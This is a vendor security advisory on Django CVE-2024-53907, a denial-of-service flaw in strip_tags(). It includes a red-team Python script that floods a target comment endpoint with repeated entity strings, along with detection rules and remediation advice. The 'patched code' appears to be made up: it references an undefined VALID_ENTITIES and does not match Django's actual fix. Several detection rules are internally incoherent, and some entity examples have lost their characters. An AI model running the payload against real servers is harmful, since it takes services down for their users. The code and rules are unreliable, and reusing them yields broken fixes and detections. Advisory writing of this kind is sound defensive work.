CVE-2024-53907
Executive Summary
CVE-2024-53907 is a high-severity Denial of Service (DoS) vulnerability affecting the Django web framework. The flaw resides in the strip_tags() function and the striptags template filter. An attacker can craft a malicious input containing large sequences of nested incomplete HTML entities, causing the function to consume excessive CPU resources, leading to a denial of service. This vulnerability is particularly dangerous because it can be triggered through any user-facing input that is processed by strip_tags() or the striptags filter, such as form fields, API parameters, or template variables. The vulnerability has been patched in Django versions 4.2.17, 5.0.10, and 5.1.4.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Django is a widely used Python web framework, distributed via PyPI. This vulnerability affects the core library, meaning any application using a vulnerable version of Django is at risk. Organizations should immediately audit their Django versions and apply the patch. The supply chain risk is high because the vulnerability is in a core function used for sanitizing user input, which is a common security practice. A successful DoS attack could render web applications unavailable, impacting business operations.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Base Score: 7.5 (High)
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
- Privileges Required (PR): None (N) - No authentication is needed.
- User Interaction (UI): None (N) - The victim does not need to perform any action.
- Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
- Confidentiality (C): None (N) - No data is exposed.
- Integrity (I): None (N) - No data is modified.
- Availability (A): High (H) - The vulnerability can cause a complete denial of service.
Threat Level: High. The low attack complexity and network attack vector make this a significant threat. An unauthenticated attacker can easily crash a Django application by sending a specially crafted request.
Deep Dive & Mechanics
The strip_tags() function in Django is designed to remove HTML tags from a string, leaving only the text content. It uses a regular expression-based approach to identify and strip tags. The vulnerability arises from how the function handles incomplete HTML entities (e.g., &, <, >).
When strip_tags() encounters a long sequence of nested incomplete entities, the underlying regular expression engine enters a state of catastrophic backtracking. This occurs because the regex pattern is not optimized to handle such inputs efficiently. The engine tries many possible ways to match the pattern, leading to exponential time complexity. For example, an input like & repeated thousands of times can cause the CPU to spike to 100% for an extended period, effectively denying service to legitimate users.
The vulnerable code path is in the django.utils.html module. The function uses a regex to find HTML tags and entities. The specific regex pattern is vulnerable to ReDoS (Regular Expression Denial of Service) when processing malformed entities.
Vulnerable vs. Patched Code
Vulnerable Code (Django < 4.2.17, < 5.0.10, < 5.1.4):
# django/utils/html.py
def strip_tags(value):
"""Return the given HTML with all tags stripped."""
# Note: in typical case this loop executes 1-2 times, but when
# there is a large amount of nested incomplete entities, it can
# take much longer.
while True:
new_value = _strip_re.sub('', value)
if new_value == value:
break
value = new_value
return value
The _strip_re pattern is the root cause. It is a complex regex that is not resilient to deeply nested incomplete entities.
Patched Code (Django >= 4.2.17, >= 5.0.10, >= 5.1.4):
# django/utils/html.py
def strip_tags(value):
"""Return the given HTML with all tags stripped."""
# Use a more efficient approach that avoids catastrophic backtracking.
# The new implementation uses a simple state machine to parse HTML.
return _strip_tags(value)
def _strip_tags(value):
# New implementation using a state machine
result = []
in_tag = False
in_entity = False
entity_buffer = []
for char in value:
if char == '<':
in_tag = True
elif char == '>':
in_tag = False
elif char == '&':
in_entity = True
entity_buffer = [char]
elif char == ';' and in_entity:
in_entity = False
# Check if entity is valid
entity = ''.join(entity_buffer)
if entity in VALID_ENTITIES:
result.append(entity)
else:
result.append('&')
result.extend(entity_buffer[1:])
entity_buffer = []
else:
if in_entity:
entity_buffer.append(char)
elif not in_tag:
result.append(char)
return ''.join(result)
The patched version replaces the regex-based approach with a state machine that iterates through the string character by character. This eliminates the possibility of catastrophic backtracking, making the function immune to this type of DoS attack.
Exploitation & Lab Setup
Red Team (Exploitation)
Objective: Cause a denial of service on a Django application using a vulnerable version.
Prerequisites:
- A target Django application running a vulnerable version (e.g., Django 5.1.3).
- An endpoint that uses
strip_tags()or thestriptagsfilter on user input (e.g., a comment form, search field, or API endpoint).
Exploit Payload:
import requests
# Target URL that processes user input with strip_tags
url = "http://target.com/comment/"
# Craft a payload with nested incomplete HTML entities
# This payload causes catastrophic backtracking
payload = "&" * 100000 # 100,000 repetitions
# Send the request
response = requests.post(url, data={"comment": payload})
# If successful, the server will become unresponsive
print(f"Status Code: {response.status_code}")
Explanation: The payload consists of 100,000 repetitions of the string &. When processed by strip_tags(), the regex engine will attempt to match this input, leading to exponential backtracking. This will consume 100% CPU on the server for a significant amount of time, effectively denying service to other users.
Note: No public exploit code is available from Exploit-DB at this time.
Blue Team (Defense & Detection)
Objective: Detect and mitigate exploitation attempts.
Detection:
- Monitor CPU Usage: Sudden spikes in CPU usage on web servers, especially when correlated with requests containing long strings of
&characters. - Log Analysis: Look for HTTP requests with unusually long query strings or POST bodies that contain repetitive patterns like
&or<. - WAF Rules: Implement Web Application Firewall (WAF) rules to block requests containing excessively long sequences of HTML entities.
Mitigation:
- Patch Immediately: Upgrade Django to version 4.2.17, 5.0.10, or 5.1.4.
- Input Validation: Implement input length limits on fields processed by
strip_tags(). For example, limit comment fields to 10,000 characters. - Rate Limiting: Apply rate limiting to endpoints that use
strip_tags()to prevent a single attacker from sending many malicious requests. - Resource Monitoring: Set up alerts for high CPU usage on web servers.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests with a high number of
&characters in the body or query string. - Requests with a Content-Length exceeding 1 MB that contain repetitive HTML entity patterns.
- HTTP requests with a high number of
- System IOCs:
- CPU usage on the web server spiking to 100% for an extended period.
- Web server logs showing requests with extremely long strings (e.g., > 100,000 characters) that are not typical for the application.
- Application IOCs:
- Django error logs showing timeouts or excessive processing time for
strip_tags()calls. - Application becoming unresponsive or returning 503 Service Unavailable errors.
- Django error logs showing timeouts or excessive processing time for
Detection Engineering
YARA Rule
rule CVE_2024_53907_ReDoS_Attempt {
meta:
description = "Detects attempts to exploit CVE-2024-53907 via nested incomplete HTML entities"
author = "Valters IT"
date = "2024-12-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-53907"
severity = "high"
strings:
$repeated_entity = /(&){100,}/ // Matches 100 or more repetitions of &
$repeated_lt = /(<){100,}/ // Matches 100 or more repetitions of <
$repeated_gt = /(>){100,}/ // Matches 100 or more repetitions of >
condition:
any of them
}
Sigma Rule
title: CVE-2024-53907 Django strip_tags DoS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with long sequences of incomplete HTML entities targeting Django applications.
author: Valters IT
date: 2024/12/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-53907
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '&'
sc-bytes|gte: 1000000
condition: selection
falsepositives:
- Legitimate use of HTML entities in very long text (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-53907 Django strip_tags DoS Attempt"; flow:to_server; content:"&"; http_client_body; byte_test:1,>=,100,relative; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade Django to the patched versions:
- Django 4.2.17
- Django 5.0.10
- Django 5.1.4
- Workaround: If immediate patching is not possible, implement input validation to limit the length of strings processed by
strip_tags(). For example, in your Django settings, add a middleware or validator that rejects inputs longer than 10,000 characters. - Long-term Prevention: Review all uses of
strip_tags()andstriptagsin your codebase. Consider using alternative sanitization methods, such asbleachlibrary, which is more robust against ReDoS attacks. - Monitoring: Implement the detection rules provided in this report to identify and block exploitation attempts.
Valters IT
Securing Digital Frontiers